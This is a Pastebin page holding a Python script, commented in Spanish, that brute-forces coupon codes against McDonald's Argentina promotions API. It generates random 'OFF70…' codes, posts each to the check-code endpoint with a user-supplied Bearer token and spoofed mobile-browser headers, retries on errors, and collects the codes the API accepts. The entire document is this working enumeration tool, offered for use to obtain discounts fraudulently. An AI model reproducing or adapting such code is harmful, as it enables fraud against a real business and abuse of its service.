Advertisement
pastebinAnonbot

mcdonalds script cupones v3

Feb 12th, 2025
102
0
13 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.35 KB | None | 0 0
  1. #https://x.com/jav123nb
  2. import requests
  3. import random
  4. import string
  5. import time
  6.  
  7. # Configuración de la API
  8. API_URL = "https://promos-mcd-ecommerce.appmcdonalds.com/api/promotions/check-code"
  9. HEADERS = {
  10.     "accept": "application/json, text/plain, */*",
  11.     "accept-language": "es-ES,es;q=0.9,en;q=0.8,ru;q=0.7",
  12.     "authorization": "Bearer ",  # Se actualizará dinámicamente
  13.     "cache-control": "no-cache",
  14.     "content-type": "application/json",
  15.     "origin": "https://www.mcdonalds.com.ar",
  16.     "pragma": "no-cache",
  17.     "priority": "u=1, i",
  18.     "sec-ch-ua": "\"Google Chrome\";v=\"131\", \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"",
  19.     "sec-ch-ua-mobile": "?1",
  20.     "sec-ch-ua-platform": "\"Android\"",
  21.     "sec-fetch-dest": "empty",
  22.     "sec-fetch-mode": "cors",
  23.     "sec-fetch-site": "cross-site",
  24.     "user-agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
  25.     "x-app-country": "AR",
  26.     "x-app-version": "web-2.0.0"
  27. }
  28.  
  29. # Datos base para la solicitud
  30. DATA_TEMPLATE = {
  31.     "area": "DLV",
  32.     "restaurant": "6197a044c6ad5f296eabdcf7",
  33.     "price": {"total": 1099900, "tax": 0},
  34.     "products": [{"id": "2719", "qty": 1, "isPromo": False}],
  35.     "coupon": ""
  36. }
  37.  
  38. # Lista de cupones válidos encontrados
  39. valid_coupons = []
  40.  
  41. def generate_coupon():
  42.     """Genera un código de cupón que comienza con 'OFF70' + una letra A-E + 5 caracteres más."""
  43.     first_letter = random.choice("ABC")  # Letra inicial fija en A, B, C, D o E
  44.     num_digits = random.choice([0, 1, 2, 3])  # Cuántos números incluir en los 5 caracteres restantes
  45.     digits = random.choices(string.digits, k=num_digits)
  46.     letters = random.choices(string.ascii_uppercase, k=5 - num_digits)
  47.     coupon_body = digits + letters
  48.     random.shuffle(coupon_body)
  49.    
  50.     return f"OFF70{first_letter}{''.join(coupon_body)}"
  51.  
  52. def check_coupon(coupon):
  53.     """Envía una solicitud POST a la API con el cupón generado."""
  54.     data = DATA_TEMPLATE.copy()
  55.     data["coupon"] = coupon
  56.  
  57.     unauthorized_attempts = 0
  58.     exception_attempts = 0
  59.  
  60.     while True:
  61.         try:
  62.             response = requests.post(API_URL, json=data, headers=HEADERS)
  63.             response_json = response.json()
  64.  
  65.             # Siempre mostrar la respuesta de la API
  66.             print(f"Cupón: {coupon} | Respuesta: {response.status_code} - {response_json}")
  67.  
  68.             if response_json == {"status": False, "error": {"code": "unauthorized", "message": "Token Blocked"}}:
  69.                 print("Token bloqueado. Deteniendo ejecución.")
  70.                 exit(1)
  71.  
  72.             # Manejo de casos específicos
  73.             if response.status_code == 401:
  74.                 unauthorized_attempts += 1
  75.                 if unauthorized_attempts >= 5:
  76.                     print("Se alcanzaron 5 intentos de 'Unauthorized', deteniendo ejecución.")
  77.                     exit(1)
  78.                 time.sleep(3)
  79.                 continue  # Reintentar con el mismo cupón
  80.  
  81.             # Si el cupón es válido, guardarlo en la lista
  82.             if response_json.get("valid", False):
  83.                 valid_coupons.append(coupon)
  84.  
  85.             break  # Salir del bucle en respuestas procesadas
  86.  
  87.         except requests.exceptions.RequestException as e:
  88.             # Manejo de errores de red con reintentos
  89.             print(f"Cupón: {coupon} | Error de red: {e}")
  90.             exception_attempts += 1
  91.             if exception_attempts >= 5:
  92.                 print("Se alcanzaron 5 intentos de error de red, pasando al siguiente cupón.")
  93.                 break
  94.             time.sleep(3)  # Esperar antes de reintentar
  95.  
  96. def main():
  97.     """Ejecuta el proceso de generación y prueba de cupones en intervalos de 3 segundos."""
  98.     # Solicitar el token Bearer al usuario
  99.     bearer_token = input("Por favor, introduce el token Bearer: ").strip()
  100.     if not bearer_token:
  101.         print("El token Bearer es obligatorio. Saliendo...")
  102.         return
  103.  
  104.     # Asignar el token Bearer al encabezado
  105.     HEADERS["authorization"] = f"Bearer {bearer_token}"
  106.  
  107.     # Iniciar el proceso de validación de cupones
  108.     while True:
  109.         coupon = generate_coupon()
  110.         check_coupon(coupon)
  111.         print(f"Resumen de cupones válidos hasta ahora: {valid_coupons}")
  112.         time.sleep(3)
  113.  
  114. if __name__ == "__main__":
  115.     main()
  116.  
Tags: mcdonalds
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement